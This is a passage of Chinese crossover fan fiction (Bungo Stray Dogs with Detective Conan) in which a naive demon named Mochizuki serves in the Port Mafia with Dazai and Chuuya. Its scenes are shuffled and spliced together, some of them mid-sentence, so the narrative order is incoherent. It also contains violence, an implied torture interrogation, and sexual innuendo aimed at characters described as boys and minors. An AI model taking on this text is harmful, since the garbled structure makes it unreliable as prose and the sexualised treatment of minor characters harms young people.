池田感觉自己的身体愈发冰冷,僵硬得难以操控。 然而,在双目当对上面前一脸平静的黑发少年那双鸢色眸子时,脑内控制理智的弦彻底绷断了。 果然、果然这家伙,从一开始就—— “混蛋——” 他蹭一下站起身,从口袋里掏出了手.枪,对准了无动于衷的太宰治,却发现自己的枪口在颤抖。 “所以,要对着我的脑袋开枪吗,池田先生?” “不过您的手在发抖呢。”金发少年露出神神秘秘的表情。 中原中也也被带起了好奇心。他倒是要看看,这家伙这么神秘到底要搞什么。 然后。 自己就被拽到了这家普普通通的快餐店。 中原中也默然。 然而对上一旁望月闪亮又自信的绿眸,好像也无话可说了。 “哈……没想到是快餐店啊……” 坐在他对面的中原中也无奈地嘟囔几声,拿起一旁的可乐吸了一口。 味道很甜,碳酸气泡在舌尖上炸开。 “嗯?”中原中也愣了一下。 他并没有注意到,金发少年说话时,对于死亡并没有恐惧和担忧,更多是一种好奇和茫然。 ——「死亡」,究竟是什么呢。 脑海中,这个疑惑一闪而过,快得让人无法留意。 黑泽望月只是稍稍纠结了一下。 而且再怎么好奇,都不是他现在应该思考的事。 ——别难为这脑容量只有10KB的笨蛋了。 不管怎么,还是要尽早解决掉这个项圈的问题比较好吧。 黑泽望月绞尽脑汁也只想到了两种方案。 “中也……” “……又怎么了?” 中原中也在想别的事情,回答的时候稍稍慢了一拍。 然后,他就听到对面的金毛开口道。 “如果港口mafia的干部被杀掉,会怎么样啊?” 一般来说,解决掉异能力源头的主人,身上的异能力效果都会跟着结束——所以直接把A解决掉不就行了! 简洁粗暴且有效! 黑泽望月满怀期待的地看向中原中也,希望对方能给自己一个好建议。 中原中也的眼皮猛地一跳。 笨蛋金毛这话问得实在是太直白了,完全没有藏的意思。 这种话若是传到外面去,望月估计会被当成异心人拖到审讯室里好好审讯一通。 中原中也不得不出言警告道。 “你可别给我乱来。” “虽然我也看A那家伙很不爽。但即便是同为干部的红叶大姐,碍于首领和组织,都不敢轻易对对方动手。” “毕竟不论对方对于港口mafia来说多么游离,但名义上都还是港口mafia的五大干部之一。如果死了的话,对于港口mafia来说当然是一种羞辱和挑衅。” 他的声音猛然低沉下来,平静中带着一种危险感。 听到中也的声音,埋头苦吃的黑泽望月抬起了脑袋,一脸茫然,“不是说什么都可以吗?” “我还以为你会让我请客吃点贵东西,比如海鲜大餐什么之类的。” 中原中也特意加重了一下语气。 但笨蛋没有听出自己话中的潜台词,反而更加开心了,兴致勃勃地说道。 “哦哦哦!那下次我们一起去吃海鲜大餐吧!” 好吧。 笨蛋开心就好。 中原中也一边在心里吐槽,一边拆着汉堡外的包装袋。 发现赭发少年情绪不高的样子,望月歪着脑袋,嘴巴里还有食物,含糊不清地问道。 “中也不喜欢汉堡?” “不。”中也顿了顿,发现自己的回答可能有歧义,又补充了一句,“我不挑食。” 从前和「羊」的同伴们在擂钵街的时候,没钱没物资,什么样的东西没吃过,发霉的面包就把坏掉的地方掰了扔掉,照吃不误。 「羊」都是群年纪不大的孩子,聚成一团在擂钵街摸爬滚打。 有时候,晚上就爬上基地的房顶,男生们一边喝着偷来的啤酒一边扯着嗓门聊天,想象着日后出人头地了自己要如何如何。 同龄的女生们倒是比男生们成熟些,朝那边吹牛逼的家伙们翻了个白眼,比起在那儿幻想不如切实思考下明后天的晚饭吃什么。 那段时间对于中原中也来说,算不上有多愉快,但也并不感到沉重。 即便之后他和「羊」的伙伴们产生了裂纹,甚至被背叛,他依旧未曾感到后悔,更多的则是对于过去时光的缅怀。 中原中也咬了口汉堡。 只是汉堡的味道,番茄酱和沙拉酱黏稠,和他在酒宴上见过的那些精致的菜肴相比,显得逊色又普通。 黑发少年笑了起来,苍白的脸颊因为兴奋而染上一抹红晕。 他轻声说着。少年甜腻的声音中带着一种难以形容的情绪。 对于死亡的无动于衷,甚至说是一种狂热的痴迷。 “我还想请您瞄准一些,你会为我带来死亡吗。从这片看不见任何东西的泥沼之中,彻底沉下去也好,从里头爬出来也好。” “呐,让我醒过来吧。” 从血管深处不断延伸的恐惧占据脑髓。 面前的黑发少年比他见过的任何一个人都来的令人战栗,那双漆黑的眸子注视着自己,几乎要将他吞噬。 ——深渊仿佛站在他的面前。 “你这怪物……” 池田脸上的肌肉抽搐着,几乎扭曲。 “恶心,你这怪物真恶心啊!” 像是想要通过这种方式发泄内心的恐惧,池田大吼着,朝着面前讥笑着自己的黑发少年狠狠地扣下扳机。 紧接着,他看到了自己的手飞到了半空中。 不知何时站在身侧的金发少年,手中的短刀闪烁着冰冷的寒光,飞溅着血渍。 迟钝了半秒后,剧烈的疼痛感贯彻全身,让池田痛苦地嚎叫了起来。 “啊啊啊啊啊——” 断手上握着的枪掉落在了地上。 在男人的哀嚎声中,黑发少年弯下腰,捡起了那把手/枪。 “砰。” 飞溅出来的血飞溅在太宰治的脸上,或许是因为周围的血浆,已经嗅不出铁腥味。 周围彻底安静了下来。 “望月君刚刚的行为,把我吓了一跳呢。都说了我可是未成年哦~” 望月的表情瞬间僵硬了,后背冷汗直流。 但自己的尾巴还在对方的手里,根本没有办法逃跑。 太宰治一边拽住他的尾巴,一边垂下眼睛,发挥了十二分的演技,作出一副被欺负的害怕模样。 “对我做出这样的事,使人家的精神受到了伤害,真的好害怕啊~” 下一秒,黑发少年掐着的嗓子便松了下来,半眯起眼睛似笑非笑地说道。 “系统应该不会允许这种事发生吧。” “所以这次样子的话,你的系统会怎么判断呢?” 脖颈上的项圈似乎因为太宰的话而有了反应,隐约传来了电流感,带着某种警告的意味。 望月本能地咽了一口口水。 “那、那个…” “没办法,做出糟糕的事,坏孩子应该接受惩罚了呢。” 面前,黑发少年的脸上带着抖S特有的恶劣笑容,仿佛某种恶魔一般。 然而真正的恶魔则在他的面前瑟瑟发抖着。 几乎没有任何的思考。 望月相当没有出息地选择了土下座滑跪。 “对不起太宰大人是吾辈错了!下次再也不会了呜呜呜,吾辈会乖乖听话的,请换别的方式惩罚吾辈吧!” 第 26 章 第二十六章 太宰治的脚下,银发恶魔战战兢兢地双膝并拢,双手成内八状向前贴地,脑袋也深深垂下,一副认真悔过的态度。 这番土下座的姿势,标准得都可以进入教科书,只是这之中有多少的认真悔过就不得而知了。 有一就有二,望月已经熟练掌握了滑跪的技巧。 太宰治低下头,正好能够看到银发少年的后脑勺以及身后收紧的小翅膀。 “哇,土下座的姿势真标准。” 太宰治挑了挑眉,不带任何感情色彩地感慨道。 然而他的手里依旧捏着银发恶魔的尾巴,从细长的中段一直滑到尾端的桃心,然后用指腹不轻不重地捏了捏。 土下座中的银发魅魔身体很快有了反应,可怜地颤了颤。 望月一边忍耐着从尾巴处传来的酥酥麻麻的快|感,一边战战兢兢着,不安于脖颈上项圈的电流。 同时玩弄着人(恶魔)的身心,将快乐和痛苦都掌控在自己手上,天堂与地狱几乎一线之间。 金发少年点了点头,语气委屈,反而显得可爱。 他掰着手指叹了口气,可怜兮兮地说道。 “我这个月的工资还没发呢,钱包就已经吃空了。还在想要不要找上司去预支一下工资,不然我这个月就只能啃泡面了。” 对了。他好像还没问中也自己的工资是多少呢。 但不管怎么样,因为比起之前还是底层人员的时候要来得多吧。 望月认真思考起来。 而坐在软包沙发上的横鼠则笑了起来,像老鼠一样细长的眼睛挤了挤,挑逗到, “我这里有让你赚钱的方法,轻松来钱还快。” “诶,真的假的?” 望月惊讶,好奇地追问道。 还有什么比干黑手党来得更赚钱的? 这里的人都知道他是什么意思,笑容中多了些猥琐和不怀好意,最靠近男人的陪酒女郎脸上表情有些微妙。 她担忧地看了眼面前这个新来的小服务员。 然而这金毛小子脑袋显然还没转过弯来,摇了摇脑袋,强调道。 “我还不能喝酒哦。” 男人从口袋里用手指夹出了什么东西,然后从金发少年的精瘦后腰处塞了进去,卡在裤子上,用力拍了拍对方的腰。 他本来还想顺势捏一把对方的屁股,金发少年正好往后一退躲开了他的手。 这让他有些遗憾。 “不喝酒赚钱的方法可多了去了!我可不介意和你好好彻夜长谈一番赚钱方法,哈哈哈哈哈……” “噗哈哈哈哈哈——” 包厢里回荡着男人们下流又恶心的笑声。皮肤上像是爬过蚂蚁般,涌起一层鸡皮疙瘩。 黑泽望月正要从后腰把那张硬邦邦的卡片掏出来,一旁陪酒女郎见状,笑着朝他招呼道。 “哎呀,这里的酒都喝完了。你去前边再拿些过来。” “听说太宰先生的脾气不好,臭小子你可小心点,少说那些没用的话啊。” 望月捂住自己脑袋,点头表示明白。 ……那笨蛋真的明白什么该说什么不该说吗? 操劳着联系各方消息的铃木一边拨打着电话,一边在心中叹气,有一种做老妈子的沧桑感。 …… “这段时间请不要碰水,不然伤口容易发炎。” 醒过来坐在病床上的太宰治脸上没什么表情,护士不知道对方有没有把自己的话听进,微笑着补充道。 “——伤口发炎导致毛囊坏死,那块会长不出头发的哦。” 太宰治脸骤然一黑。 见黑发少年脸上表情终于有了明显的变化,护士笑眯眯地端着不锈钢盘走了出去。 黑泽望月在门口朝里头探着脑袋,被太宰治抓了个正着。 太宰治回忆起这家伙的脸,毕竟那可不算是什么美好的记忆,面无表情的样子看起来似乎没什么波澜。 但若是常在太宰身边工作的部下们看到自己上司此时的表情,估计早已吓得不敢动弹,缩小存在感生怕自己遭殃。 这是太宰先生最典型的生气了的表情啊。 黑泽望月对此一无所知,但还是本能地察觉到了危险。 他颤颤巍巍地伸出了自己手上的苹果,朝着病床上的太宰治颤颤巍巍地问道。 “那个,太宰先生……护士小姐给了我一个苹果,您要吃吗?” “我从书上看到,生病的人要多吃水果才能好得快……” “……” 大概是直觉察觉到对方身上散发浓烈的杀气,那眼神让他想起了每次惹大哥生气时,大哥脸上的表情也差不多是这样的。 黑泽望月的手一抖,苹果顿时啪叽一声落在地上,顺着地面滚到病床旁。 他想起铃木前辈叮嘱自己的话,小心翼翼地挪进病房,声音结结巴巴,听起来有些生硬。 “对、对不起,那个,太宰先生……” 这副可怜兮兮的样子,让太宰治忍不住笑了起来,只是笑声中完全听不出任何的笑意。 他无视了对方的话,像是自言自语般道。 “唔,虽然我渴望死亡,但是这种愚蠢又痛苦的死法,我可敬谢不敏——说起来,这算是谋杀了吧?” 黑泽望月走出了包厢,关上门,吵闹的音乐声被阻隔在门后,但依旧可以听到里头吵得震天响的动静。 走廊没有什么人,周围的包厢相当安静,看来是包场了。 这也正常,符合横鼠那家伙小心谨慎的性格。 嗯,他的伪装任务非常成功;甚至还取得了目标的信任(?)。 看来自己非常有当卧底的天赋啊! 黑泽望月在心中如此感叹着,就差为自己鼓掌了。 他伸手扯了扯领口的服务员装上的蝴蝶结,一边走向无人的角落,摁住耳朵处,设置了特殊波频的微型耳麦。 周围四下无人,黑泽望月找了个地方蹲下,压低声音说道。 “中也,能听到吗?” 精神饱满的样子,看起来像是一只刚从泥巴地里打滚变得脏兮兮的,然后又试图扑上来的某种犬科生物。 中原中也有些嫌弃地把对方的脑袋推向一边,防止他满身的血污蹭到自己身上。 他扭头指挥着部下们进来,把这包厢里的一地狼藉处理掉。 没扑到人,望月也不气馁。 这个方向正好看到在中原中也身后的黑发少年,身旁站着的正是会所经理,后者看起来十分紧张,结结巴巴地说着什么。 而太宰治有一搭没一搭地听着,目光平静地扫视着包厢里头。 金发少年身后的尾巴摇得更欢了。 “诶,还有太宰!你也一起过来了啊。” 哦,他是「还有」。 太宰治在心中想到,脸上却没有多少波动,抬手挥了挥让身旁讲话的经理先闭上嘴。 尸体们横七竖八地躺在地上,血液已经半干成深红色,像是油漆一样黏着在灰黑的瓷砖表面。 空气中的铁锈味混合着香槟、红酒的酒精味,以及烟草的气味,乱七八糟地杂糅在一起,属实不好闻。 难怪经理的表情那么惊恐。 说实话,他可不想把阵仗搞得那么浩大,不然应付政府那边的眼睛还挺麻烦的。 但问题也不大,反正到最后这件事还是要暴露的,至于这边包括娱乐会所在内的附近地盘,港口mafia在处理掉横鼠相关的手下之后,直接接盘就行。 在脑内飞快地规划好后续处理后,太宰治收回了自己的视线,语气轻飘飘的。 “……你闹出来的动静真不小呢,望月。” 太宰是故意的。 他恶趣味地期待着,能从望月脸上看出心虚或者紧张的表情。 然而黑泽望月的脑回路,永远都能让人头顶黑线。 “别担心,我有在控制动静哦。” 金发少年完全没听出对方口吻中的嘲讽,反而朝太宰治竖起两个大拇指,自信满满地说到。 “当时包厢里的音量放得可大了,不论是我动手时候的声音还是枪声,外面应该听不大清的!对吧对吧?” 他甚至还扭头,试图寻找当时在场的陪酒女郎们的佐证。 女郎们唇角微微抽搐,尴尬地挪开视线,似乎忘了眼前的血腥,吐槽欲从胸口油然而生。 ……对方说的不是这个动静吧。 越往深处走,周围的空气越发湿冷。 混杂着锈气的血味钻入鼻腔,令人不寒而栗。 即便他们经常出没审讯室,对这里依旧秉持着敬而远之的态度,能尽早结束就绝不久留。 在踏进关押着目标的囚禁室时,黑发少年像是突然想起了什么,轻声啊了一下。 “说起来,这是我第一次审讯呢。麻烦请多关照了。” 黑发少年弯起眼睛,笑眯眯地说道。 太宰的话令原本就对对方没抱多大期望的二人,更加不安起来。 第一次审讯……交给对方真的没问题吗? 毕竟怎么说,对方都还是个少年。审讯这种事,大部分都是黑手党之中的老手来负责。 毕竟刚加入组织不久的新人,看到那种场景不吐就已经算是资质优秀的了。 所以,对于太宰刚刚的自告奋勇,二人除了怀疑之外,也带着几分蔑视的看戏心态。 那就交给对方好了。让这家伙亲眼见识过一下审讯部是什么样子的,然后就老实了。 虽然是他们的上司,可到底都是个小鬼头。 然后,他们就见识到了黑发少年口中所谓的「第一次审讯」。 第 27 章 第二十七章(50雷加更) 空气中弥漫着比之前还有浓烈数百倍的血腥味,令人忍不住想要干呕。 之前怎么撬都撬不开的男人,在黑发少年的手下不断哀嚎,狼狈地求饶着,痛哭流涕。 对于神明的信仰,也在这痛苦的折磨下支离破碎。 太宰治感到失望。 “比我想象中要简单,还以为能看到什么……这样子可以了吧?” 太宰治转过头,对着身后的两个男人说道。 黑发少年的脸上飞溅着对方的血液,顺着苍白的皮肤滑落,染脏了绷带,而本人则毫不在意,对于眼前的惨状也熟视无睹。 他的声音平静,没有任何的波澜,像是在诉说一件无关紧要的事。 “把记下来的信息整理好交给尾崎干部。” “对了,把人送去医疗部吧。毕竟是骨干成员,说不定还有别的利用价值。” 太宰都已经说完了,两个人的表情依旧恍惚。 黑发少年眨了眨眼,双手合十啪地一拍,将二人的神唤回。二人这才回过神,眼中闪过一丝忌惮的畏惧。 “——你明明干得不错啊。” 不知道为什么被中原中也夸奖了的黑泽望月眼神茫然,扭头看了看病床上的黑发少年。 太宰面无表情,思考着之后整蛊中原中也的N种办法,以及下期《不服输的中也》的报刊内容。 ——两只蠢狗聚在一起,这里简直是地狱。 太宰治拖长了声音,下达了逐客令。 “啊~啊,脑袋好晕。” “嗯,这样子的一星期……不,半个月都不能工作了吧,真是太好了。小蛞蝓,那么之后地工作就拜托你了,加油哦——” “你这家伙……” 中原中也眼角肌肉一抽一抽着,显然是在忍耐怒火。 对方姑且还算是自己的搭档,真揍死了BOSS那边不好交代。 赭发少年在心中深呼吸一口气,转身就要走人,却又被太宰喊停。 “小蛞蝓,把这只蠢狗也一起带走,省得打扰我睡觉。” “……喂,我可不是你的部下!” 两个人离开后,病房又重新归于了沉寂。 太宰治打了个哈欠,鸢眸瞥见砸在地上那个凹进去一块的苹果,不知想到了什么,眸色流转,划过一丝深意。 港口mafia最近往外扩展了一圈地盘,A也趁机瓜分了些甜头,将一块赌场收入囊下。 虽说A是五大干部之一,但这个位置也是他用钱买来的。 港口mafia并不信任他,就像他也不信任港口mafia一样。 这件事无论是A还是森鸥外,都对着此心知肚明。 但对A来说这都无所谓。 他要港口mafia的武力为自己的赌场保驾护航,港口Mafia从他的赌场中获得资产。 说到底都是利益至上,彼此利用,互利互惠罢了。 比如说现在。 “咚!” 不知道是谁用拳头砸了一下桌子,发出的响声让快要打瞌睡的黑泽望月一下子醒了过来。 他眨巴眨巴眼睛,转过脖子看向牌桌。 “——庄家胜。” 戴着项圈的发牌员伸出了手,宣告了本场赌局的胜者。 A的最后一张牌已经丢到了桌面上,脸上挂着虚伪的笑容。 “这位客人,您又输了。” “作为输掉的代价,可“第、第三次。” 望月小心翼翼地说道, “我真的不是故意的。” “如果是故意的话,你现在就该在医务室了。” 中原中也毫不客气地说道。 黑泽望月身后的尾巴似乎垂得更低了。 “……算了,这次就放过你了。” 听到这话,黑泽望月的眼睛一下就亮了,身后的尾巴啪地一声竖了起来,泪眼汪汪地说道。 “中也,你果然是个好人!” “少给我来这一套。” 当时只不过是觉得这样的人留在A的赌场未免太过可惜了,便在和A商议正事之余,把人要了过来。 中原中也瞥了眼金发少年脖颈上的金属项圈,眉头紧锁。 A那家伙……居然敢私自给港口mafia的成员戴上项圈。不,按照A的个性,估计是用什么手段欺骗望月戴上的吧。 毕竟这家伙的性格太天然了。 先不说在黑手党里,就算是「羊」,这种天真烂漫的性格的家伙他几乎从来没见过。 毕竟在擂钵街,这样的家伙早就死得连尸体都找不到了。 看着眼前的金发少年毫不吝啬自己的笑脸,还有对自己莫名其妙的亲昵和信赖,中原中也烦躁地揉了揉自己的头发。 最近头发稍微长了些,他干脆直接用皮筋绑了起来。 然而,脑海内却一闪而过在赌场时,那张染着敌人鲜血的灿烂笑脸,正揉着头发的动作无意识停了下来。 中原中也啧了一声。 反正现在望月在自己手底下,A那家伙也不敢乱动。 不管怎么说,都是自己带过来的人。 出于好心,中原中也便随口问了几句对方的现状。 “在港口Mafia这段时间,有什么感想吗?” 黑泽望月回忆了一下这几天在港口mafia的日常,严肃着脸认真地说道: “食堂的饭,很好吃。” “……” “饭后甜点如果能加一份布丁的话就更好了。” 甚至还比了个大拇指。 “……谁问你这个了,你脑子里除了吃没有别的了吗!” 中原中也嘴角一抽,忍不住拔高嗓门吼道。 听木村说,前几天他请客吃饭,望月这家伙一个人一口气吃掉了他一星期的饭钱,差点泪洒办公室。 然而对上望月那双茫然的豆豆眼,中原中也抬手扶住自己的额头,叹了口气。 “算了,当我没问。下次不许靠近我的办公桌。”别忘了戴上项圈,成为我们赌场忠诚的狗啊——你的命已经属于这座赌场,不,是我的东西了。” 男人瞪着手里攥着的扑克牌,手不住地发抖,太阳穴的青筋也几乎暴起;牌桌上其他人的表情也相当的不好看,甚至都快拿不住手上的牌,脸色铁青。 他将手里的牌往桌面上一甩,骂道。 “你这家伙,绝对是出老千了!!” 这话听的A都想翻白眼了。 是,他的确出老千了,但在赌场不都是这样吗? 赌场上的老手们对此都心知肚明——只要没被抓住,都不算数。 只有白痴的鱼们才会沾沾自喜地相信,所谓的赌博靠得是所谓的运气。 就连面前这几个家伙,一开始都出老千了吧,只是这么点技术在A的面前完全不够看的。 虽然A的人品不怎样,但在千术上,就连森鸥外都欣赏有加。 A自认为,整个港口mafia,或者说整个横滨,在千术上能和他一较高下的,大概也就那个叫做太宰的小鬼。 “去你妈的!” 那几个人见状,直接起身踹翻了面前的牌桌,反手从胸口处掏出了手/枪,朝着面前的A脑袋开枪。 A弯腰,果断地拉过身旁戴着项圈的发牌员,挡在自己面前。 “砰!” 病房外。 中原中也轻啧一声,抬手压低脑袋上的帽檐,挡住脸上的表情。 虽说太宰这家伙时不时会给他找点麻烦,但有他在工作效率的确大有提升——中原中也不得不承认这一点。 嘁,让这家伙找到合理借口当甩手掌柜了啊。 中原中也皱着眉,在脑内思考着之后任务工作的问题。 然而身后的视线如影随形。 “一直盯着别人看在黑手党世界里可是挑衅行为,小子。” 中原中也挑了挑眉,毫不客气地说道。 这家伙……大概是刚来港口mafia的新人吧。 黑手党这种危险的工作,送掉性命的家伙不知道有多少。 中原中也刚有些心软,结果就听见对方说道。 “对不起。其实刚刚就想说了。” “我好像在哪里见过你,中也……先生!”刚刚太宰先生好像是在这么称呼对方的。 黑泽望月慢半拍地补上了被忘记的敬语。 ……听起来像是搭讪一样的台词。 尽管他努力想要无视,然而那双绿色的眸子依旧目光炯炯,闪闪发亮的模样让中原中也莫名感到发毛。 身为战斗人员对外界视线本就敏感,再加上中原中也可算不上什么好脾气。 “喂,我刚刚已经说过一次了吧。”他瞥了眼这不知死活的小子,声音低沉,带着一丝威胁,“再一直盯着看,我可真的会揍你。” 他可没有夸张。 像是没有听出对方口吻中的警告,黑泽望月依旧呆呆地盯着面前,不知道在想什么。 脑海中各种各样的画面碎片飞快闪过。 望月眼神飘忽了一下,撅着小鸡嘴,声音有些心虚地说道。 “吾辈也是好心哦,破例让你成为吾辈的同伴。” “看你这个人类每天都想那么多复杂麻烦的事情,丧里丧气的样子多可怜。不如来和吾辈做点有趣的事,绝对会让你快乐到无法思……nya——为什么每次都要拽吾辈的尾巴!” 望月赶紧夺回了自己的尾巴,紧紧地护在胸口,怒视着对方。 “那真是多谢你的好心。” “不过我觉得比起成为恶魔的同类,还是让恶魔成为我的宠物来得更有意思。” 太宰治皮笑容不笑地说道。 “望月君你好像忘了自己的身份吧?现在你可还是我的宠物。” “之前已经提醒过你了。宠物是怎么叫的?” “汪……你以为吾辈还会乖乖听话吗!现在早就脱离系统的惩罚时间了!” 可恶,他又没说错——涩涩就是会很快乐啊!自己的好心,对方居然这么不识趣。 望月气愤。 他绝对不会再关心这个混蛋人类了! 第 28 章 第二十八章 港口mafia会议室内。 穿着黑色西装的赭发少年靠在墙壁上,双手抱胸,戴着黑色皮质手套的手指在小臂上不住地轻点着,神情不耐烦。 而不远处,黑发少年低头摆弄着手中的掌机,按键摁得劈啪作响。 一黑一红两个少年占据了会议室的两侧,二人都没有说话,气氛微妙。 倒是中原中也先忍耐不了,不爽地低声嘟囔道。 “可恶,为什么我要和这条青花鱼一起行动……”「?」 唔哦哦,言简意赅。 不愧是大哥,还是那么的冰冷酷炫呢。 难得收到琴酒回复的黑泽望月眼睛一亮,啪地一下从床上弹起来,认真地敲下字符,滔滔不绝地叙述着这段时间以来在港口mafia的种种感受。 尤其是港口mafia的食堂,望月更是赞赏有加,几乎一半的篇幅都在讲食堂的饭菜有多么好吃。 然而发出去的信息再没了回音。 对方甚至都没有看。 看着屏幕上显示的未读,黑泽望月瘪了瘪嘴,思考着要不要给伏特加发几条消息,让他也帮着劝劝大哥和自己一起跳槽。 毕竟在他们这个组织,BOSS神龙不见尾,底下的成员整天不是卧底、废物,有能力的不是摸鱼就是搞内斗。 朗姆那个家伙,可没少给大哥下绊子。 好几次他都想杀掉那坏老头泄愤了。 ——整个组织在认真干活的果然就大哥一个人了吧。 大哥那头银发都掉了不少!知道大哥在保养头发上花了多少心血吗! 哦,除了大哥,在干活的还有那个实验室。 似乎想起了什么,金发少年抿了抿唇。 嗯,果然还是跳槽吧,和大哥一起……唔,还有伏特加。 难道就没有一个「上司有能力,部下可信赖,同事关系好」,靠谱的、工作气氛良好的下家了吗。 黑泽望月郁闷地鼓起包子脸,把所有信息删除并清理痕迹后,看着自己断了的腿叹了口气。 正当他琢磨着要不拖着个瘸腿蹦跶着下楼去玩时,门口忽然响起熟悉的声音。 “现在知道后悔了,当时干嘛脑子一抽跳下来?” 黑泽望月抬头,看到中原中也不知什么时候站在门口。 少年那头赭发用皮筋简单地扎起,显得清爽又干练;他一只手插在口袋里,另一只手里拿着小山一般高的便当盒。 “中也?” “嗯啊。” 中原中也颔首,斜了眼躺在病床上的金发少年。 “那边的事情刚好处理完,顺路过来看看这次行动里唯一受伤的家伙。” “喏,你的晚饭。” 那堆便当盒的重量对于「重力使」来说轻轻松松。 赭发少年把那堆饭盒放到床边的柜子上,抬了抬下巴向望月示意。 这下可把望月感动坏了,泪眼汪汪的,都快变成了荷包蛋。 “十分感谢!中也你真是个关爱部下的好上司啊呜呜呜——” 如果不是腿还打着石膏,中原中也毫不怀疑这家伙会扑上来抱住自己的大腿一顿嚎啕大哭……不,就算拖着骨折的腿都会这么做。 因为望月这家伙正准备从病床上蹦下来啊! 为了避免这种事情发生,中原中也眼疾手快拿了一盒便当,塞到对方的面前,转移对方注意力。 “你快点给我吃饭吧!” 这成功了。 池田面色一变,收起了对于面前这个包裹着绷带的古怪少年的轻视,眼神变得锐利。 “太宰君说这话是什么意思,是在警告我们吗?呵呵,里世界的规矩你不会不懂吧,港口mafia可没少抢我们的货源,若是要这么一笔一笔算下来,我们这交易可就谈不成了。” “诶,我当然是真心在谈生意的哦。而且池田先生偷换了概念。”太宰治笑着竖起手指摇了摇,“抢货品和抢货源可是两码事——后者是客户选择了我们,而不是「抢」。” “说到底,我们是商人。港口mafia可不想做一笔亏本买卖。” 明明只是个未成年,然而说话的口吻老成得和那张带着稚气的脸完全不相符,一种莫名的割裂感,让人感到微妙。 周围的空气越来越紧绷,让人大气不敢喘一声。 在太宰的微笑之中,沙发上的男人表情越来越难看,几乎变成了铁青色。 片刻过后,池田脸上的表情阴沉下来,冷哼一声。 “呵呵,真是抱歉,我们池田组也不想谈亏本生意。” 坐在太宰治面前沙发上的男人声音里可听不出什么歉意。 这仿佛成了敲碎凝重空气的最后一记锤子。他往后一靠,双手搭在沙发靠背上,态度傲慢。 “既然交易做不成了,也就没办法让太宰君这么轻松地就回去。” 身后,站在正后方的黑.道男狞笑着,放在扳机上的食指一点一点扣紧,发出机械的轻响。 “不过听说,太宰君的脑袋在港口mafia还挺重要的嘛。不知道港口mafia的BOSS愿不愿意花钱再做一笔所谓的「生意」,把你这颗脑袋买回去。” 在子弹射出的前一秒,一道金色的身影闪过,还没等人回头。直接将人过肩摔到谈判二人之间,桌子和茶具顿时四分五裂,茶水、瓷器碎片四处飞溅。 回神看去,躺在碎裂物中央昏厥过去的家伙手臂扭曲,几乎被扭成了麻花,彻底失去了意识。 “什、什么情况?” “这小鬼,一瞬间……” “什么时候动的手……”池田组的众人微愣,不禁小声议论。 几乎所有人都忘记了他的存在,这个时候才反应过来。 黑发少年的身后,少年的声音响起,带着一丝抱怨的语气。这是他今天出口的第一句话。 “太宰先生,我觉得他们恼羞成怒也很正常。” “所以说……”闲得实在发慌的黑泽望月觉得自己都快长毛了。 他拿起手机,给琴酒发了条消息。 「——大哥,我发现港口mafia比我们组织好多了,受伤还有专门的医疗服务和工伤补贴呢」 「要不我们跳槽吧!」 几分钟后,得到了回复。 注意力转移到食物上的望月,立刻开开心心地拆起便当,一边疑惑地问道。 “说起来,「唯一受伤的家伙」?是说我吗?” “不然呢?整场行动唯一受伤的家伙就你一个,而且还是自己从四楼跳下来造成的,真不知道该说你什么好。” “那太宰先生呢?” “嗯?啊,那家伙,不用管他。”赭发少年翻了个白眼,没好气地说道,“那条青花鱼一点事都没有,活蹦乱跳着呢。” 事后他得知事情经过后,真想抓着这位「好搭档」的衣领狠狠地骂一顿。 ——你不知道这家伙是笨蛋吗!没事撺掇他什么! ——这家伙的脑袋完全不会转弯的啊! 然而中原中也准备去揍太宰治的时候,对方已经溜没影了。 中原中也扶着额头,感觉在港口mafia比在羊似乎也没轻松到哪里去。 等他抬头一看,望月那家伙正埋头苦吃,这么几句话的工夫,大半盒就已经消灭掉了。 好歹给我咀嚼一下! 中原中也压住内心当老妈子的本能,掩唇轻咳了一声。 脑袋里忽然回忆起昨天,自己在敌方阵营里看到的场景,钴蓝色的眸子微微一沉。 ——根据尸体身上的痕迹来看,基本全都是一击必杀,干净利落,杀人者的体术相当不错。 “望月,你为什么会加入港口mafia?” 黑泽望月直起了身体,一边漫不在意地拍了拍手上的灰尘。 他看着周围的花臂大汉们,确信般点了点头,一只手握拳,朝着太宰治义正言辞地提醒道。 “——对黑.道打招呼,果然要用「夜露死苦*」和「阿离我拓*」才对吧!” 面对金发少年自信满满,冒着小星星的眼神,房间内瞬间鸦雀无声,甚至忘却了刚刚要做什么。 就连太宰也跟着沉默下来。 此时的死寂和之前的死寂气氛好像完全不一样,窗外似乎有一只乌鸦飞过。 黑泽望月眨了眨眼,茫然地看向一旁的黑.道大哥。 “……诶,难道不是吗?” 片刻之后,人群里不知道是谁忍不住吐槽到。 “「夜露死苦」是暴走族才用的词,现在的黑.道早都不用这个了……” “欸欸欸,真的假的——” 金发少年瞪大眼睛,简直难以置信, “已经不用了吗?明明漫画书上都是这么说的啊!不可能吧,那我做的功课和笔记不全都没用了!” ……谁让你看漫画书了解黑.道了! 话说你看的又是什么漫画啊喂! 气氛太尴尬了。 上一秒还要开打,现在像是在讲漫才似的,让人想笑又感觉不合时宜。 还以为这家伙要说什么呢……果然就是只笨蛋啊。 太宰治面无表情地挪开视线,开始后悔带望月来池田组这个决定。 身后却忽然响起了熟悉的上膛声。 数把黑漆漆的枪口抵在黑泽望月的后脑勺上,就连坐着的太宰治享受到了同样的待遇。 黑泽望月站在太宰治的身后,完全没有意识到这些武器的危险性般,好奇地张望着四周,几乎是顶在自己额头上的枪口们。 周围那些看上去就相当不好惹的面孔此时变得更加狰狞。 一旁的太宰治也轻飘飘道。 对付魅魔最好的方法就是无视他们的魅惑。 房间安静了下来,沉默得令人感到尴尬。 望月憋红了一张脸,眼角都带上了些许红意,一副委屈到极点的模样。 下一秒,银发魅魔爆发出了尖锐的暴鸣。 “可恶,你们这两个没品的童贞处男,吾辈都这么魅惑你们了!快点把你们不可描述的肮脏欲望,全部发泄到吾辈身上,让吾辈早点完成任务啊!” 第 29 章 第二十九章(100雷加更) 教堂内,阳光透过彩窗玻璃,折射出五彩斑斓的光斑,落在大理石墙壁上。 圣母石像的脸颊处已出现了一处裂纹,但面容依旧慈祥,悲悯地垂眼望向怀中的孩童 周围的孩子叽叽喳喳着,对于这里很是兴奋。 他们大多是来自孤儿院,努力练习唱歌。 听大人们说,如果能加入这个唱诗班的话,不仅能够吃饱饭,还能去各个地方演出。 简直是不敢想象的梦。 然而,在那群兴奋的孩子之外。 一个相貌漂亮的银发少年孤独地站在角落里。他似乎没有朋友,显得格格不入。 长者的声音低沉又威严,听上去很值得信任的样子。 他指了指不远处一幢老旧的办公楼,看起来平平无奇,和普通的砖楼没什么区别。 “就在那边。” …… 侦探社的医务室内。 